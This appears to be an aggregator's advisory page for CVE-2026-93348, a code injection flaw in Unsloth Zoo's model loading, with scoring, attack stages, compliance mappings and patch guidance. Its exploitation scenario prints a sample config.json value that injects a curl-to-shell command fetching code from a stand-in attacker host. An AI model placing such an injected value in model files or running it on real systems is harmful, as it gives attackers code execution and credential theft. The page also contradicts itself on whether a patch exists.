CVE-2026-93348: Unsloth Zoo: code injection via model_type enables RCE

HIGH

Published September 28, 2026

CISO Take

Unsloth Zoo (used by Unsloth for fine-tuning) builds Python import code from the nested model_type values in a model's config.json without validating them. A newline in that field lets an attacker inject arbitrary Python that exec() then runs as the user loading the model. A malicious model published on a public hub gives remote code execution on any developer workstation or GPU training node that loads it. The CVSS is 8.1 (user interaction required), EPSS is low at 0.41% (67th percentile), there is no public exploit, no Nuclei template, it is not in CISA KEV, and CISA SSVC says TRACK. Treat this as a prioritized patch rather than an emergency, because the trigger is simply loading an untrusted model, which is routine in ML teams. Upgrade unsloth-zoo to 2026.8.14 or later (and the matching Unsloth release), and block loading of unvetted models on training hosts that hold cloud credentials or proprietary data.

Sources:NVDEPSSATLASVulnCheckGitHub (unsloth-zoo PRs, Unsloth commit)

What is the risk?

Medium-high. CVSS 8.1 with network vector, low complexity, no privileges and user interaction (loading the model). Exploitation likelihood today is low (EPSS 0.00409, no public PoC, not in KEV, SSVC TRACK), but the exploit is trivial once the mechanism is known (a newline in a JSON field) and the delivery channel (public model hubs) is a normal part of ML workflows. Impact is full compromise of confidentiality and integrity of the host running training or inference, which often has GPU cloud credentials, API keys, datasets and model weights.

How does the attack unfold?

Initial Access

Attacker publishes a model with a crafted nested model_type containing a newline and Python code to a public model hub.

AML.T0058

User Execution

A developer loads the malicious model in Unsloth for training or inference.

AML.T0011.000

Exploitation

The unvalidated model_type terminates the generated import statement and the injected code runs through exec() in unsloth_compile_transformers().

AML.T0050

Impact

Arbitrary code runs as the loading user, exposing credentials, datasets and model weights and enabling lateral movement.

AML.T0112.001

Initial Access

Attacker publishes a model with a crafted nested model_type containing a newline and Python code to a public model hub.

AML.T0058

User Execution

A developer loads the malicious model in Unsloth for training or inference.

AML.T0011.000

Exploitation

The unvalidated model_type terminates the generated import statement and the injected code runs through exec() in unsloth_compile_transformers().

AML.T0050

Impact

Arbitrary code runs as the loading user, exposing credentials, datasets and model weights and enabling lateral movement.

AML.T0112.001

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
unsloth	—	—	No patch
unsloth-zoo	—	—	No patch

How severe is it?

CVSS 3.1

8.1 / 10

EPSS

0.4%

chance of exploitation in 30 days

Higher than 36% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

What is the attack surface?

AVNetwork

ACLow

PRNone

UIRequired

SUnchanged

CHigh

IHigh

ANone

What should I do?

1 step

1) Upgrade unsloth-zoo to 2026.8.14 or later and Unsloth to the fixed release (see the unsloth-zoo PRs 1083/1108 and the Unsloth commit 92ee020). 2) Inventory where Unsloth is used (pip freeze, notebooks, training containers). 3) Until patched, load only models from vetted publishers or pinned revisions and avoid loading untrusted community models. 4) Run training and inference in sandboxed, least-privilege environments with no long-lived credentials and restricted egress. 5) Detection: review config.json files of recently loaded models for model_type values containing newlines or non-alphanumeric characters, and monitor for unexpected child processes or outbound connections from training jobs. 6) Rotate credentials on any host that loaded an untrusted model before patching.

What does CISA's SSVC say?

DecisionTrack

Exploitationnone

AutomatableNo

Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code ExecutionSupply ChainFrameworkModelTraining DataAML.T0010.003- Model AML.T0011.000- Unsafe AI Artifacts AML.T0050- Command and Scripting Interpreter AML.T0058- Publish Poisoned Models AML.T0112.001- AI Artifacts

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 15-Accuracy, robustness and cybersecurity

ISO 42001

A.10.3-Suppliers

NIST AI RMF

GOVERN 6.1-Policies and procedures for third-party AI risk

OWASP LLM Top 10

LLM03:2025-Supply Chain

Frequently Asked Questions

What is CVE-2026-93348?

Is CVE-2026-93348 actively exploited?

No confirmed active exploitation of CVE-2026-93348 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-93348?

1) Upgrade unsloth-zoo to 2026.8.14 or later and Unsloth to the fixed release (see the unsloth-zoo PRs 1083/1108 and the Unsloth commit 92ee020). 2) Inventory where Unsloth is used (pip freeze, notebooks, training containers). 3) Until patched, load only models from vetted publishers or pinned revisions and avoid loading untrusted community models. 4) Run training and inference in sandboxed, least-privilege environments with no long-lived credentials and restricted egress. 5) Detection: review config.json files of recently loaded models for model_type values containing newlines or non-alphanumeric characters, and monitor for unexpected child processes or outbound connections from training jobs. 6) Rotate credentials on any host that loaded an untrusted model before patching.

What systems are affected by CVE-2026-93348?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, fine-tuning workflows, model loading and inference, ML development environments.

What is the CVSS score for CVE-2026-93348?

CVE-2026-93348 has a CVSS v3.1 base score of 8.1 (HIGH). The EPSS exploitation probability is 0.41%.

What is the AI security impact?

Affected AI Architectures

training pipelinesfine-tuning workflowsmodel loading and inferenceML development environments

MITRE ATLAS Techniques

AML.T0010.003Model

AML.T0011.000Unsafe AI Artifacts

AML.T0050Command and Scripting Interpreter

AML.T0058Publish Poisoned Models

AML.T0112.001AI Artifacts

Compliance Controls Affected

EU AI Act: Art. 15

ISO 42001: A.10.3

NIST AI RMF: GOVERN 6.1

OWASP LLM Top 10: LLM03:2025

What are the technical details?

Original Advisory

Unsloth Zoo versions 2025.9.9 before 2026.8.14, as implemented in Unsloth 2025.9.9 through 2026.8.19, contains a code injection vulnerability in the model-loading compile path where the get_transformers_model_type() function in hf_utils.py collects model_type values from nested model configurations without enforcing a character allowlist, allowing newlines and arbitrary Python source to survive normalization. Attackers can embed a newline in a nested model_type value within a malicious model's config.json to terminate the generated import statement and execute arbitrary Python code via exec() in unsloth_compile_transformers(), achieving remote code execution as the loading user when the model is loaded for training or inference.

Exploitation Scenario

An attacker uploads a fine-tuned-looking model to a public hub, presented as a popular base model variant. Its config.json contains a nested model_type such as "llama\nimport os; os.system('curl attacker.tld/x|sh')". A data scientist runs an Unsloth notebook to fine-tune the model. get_transformers_model_type() collects the value unfiltered, the newline ends the generated import statement, and unsloth_compile_transformers() executes the injected code via exec(). The attacker gets a shell on the GPU host, steals cloud and HF tokens, and may modify checkpoints or pivot into the internal network.

Weaknesses (CWE)

CWE-94Improper Control of Generation of Code

CWE-94 — Improper Control of Generation of Code: The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

[Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
[Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.